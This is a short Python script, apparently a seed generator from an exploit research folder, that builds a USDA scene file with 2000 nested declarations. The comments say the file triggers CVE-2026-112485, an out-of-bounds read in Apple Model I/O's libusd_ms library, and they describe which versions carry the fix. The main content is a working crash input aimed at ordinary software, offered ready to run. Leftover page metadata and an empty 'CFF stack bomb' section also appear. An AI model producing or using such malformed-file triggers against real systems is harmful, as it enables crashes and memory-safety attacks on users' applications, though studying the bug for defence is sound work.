36 lines
1.5 KiB
Python
36 lines
1.5 KiB
Python
#!/usr/bin/env python3
|
|
# mdl.usda · Model I/O · libusd_ms · CVE-2026-112485
|
|
# 原语: OOB 读 · 进程内 | Primitive: OOB read · in-process
|
|
#
|
|
# [zh] USDA 声明嵌套深度
|
|
# Model I/O 的修复载体为 libusd_ms 24.1.30 → 24.1.32：经 64 位检查的图像分配、Ptex log2 与页保护、USDA 声明嵌套上限、SdfZipFile
|
|
# 尺寸检查。ModelIO.dylib 自身不含任何修复。
|
|
#
|
|
# [en] USDA declaration nesting depth
|
|
# The fix carrier for Model I/O is libusd_ms 24.1.30 → 24.1.32: 64-bit checked image allocation,
|
|
# Ptex log2 and page guards, a USDA declaration nesting cap, and SdfZipFile size checks. ModelIO.dylib
|
|
# itself carries none of the fix.
|
|
#
|
|
# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
|
|
# 触发器（run 闭包）与非种子构建器: 同目录 CVE-2026-112485.swift
|
|
# triggers (run closures) & non-seed builders: CVE-2026-112485.swift in this folder
|
|
|
|
|
|
|
|
# --------------------------------------------------------------------------- USDA nesting
|
|
def build_usda(depth=2000):
|
|
"""libusd_ms 24.1.30 caps USDA declaration nesting in 24.1.32; 27.0 recurses unbounded."""
|
|
head = "#usda 1.0\n\n"
|
|
body = "".join('def Xform "n%d" {' % i for i in range(depth))
|
|
tail = "}" * depth
|
|
return (head + body + tail + "\n").encode()
|
|
|
|
|
|
# --------------------------------------------------------------------------- CFF stack bomb
|
|
|
|
if __name__ == "__main__":
|
|
import sys
|
|
out = sys.argv[1] if len(sys.argv) > 1 else "deep_nest.usda"
|
|
open(out, "wb").write(build_usda())
|
|
print("wrote", out)
|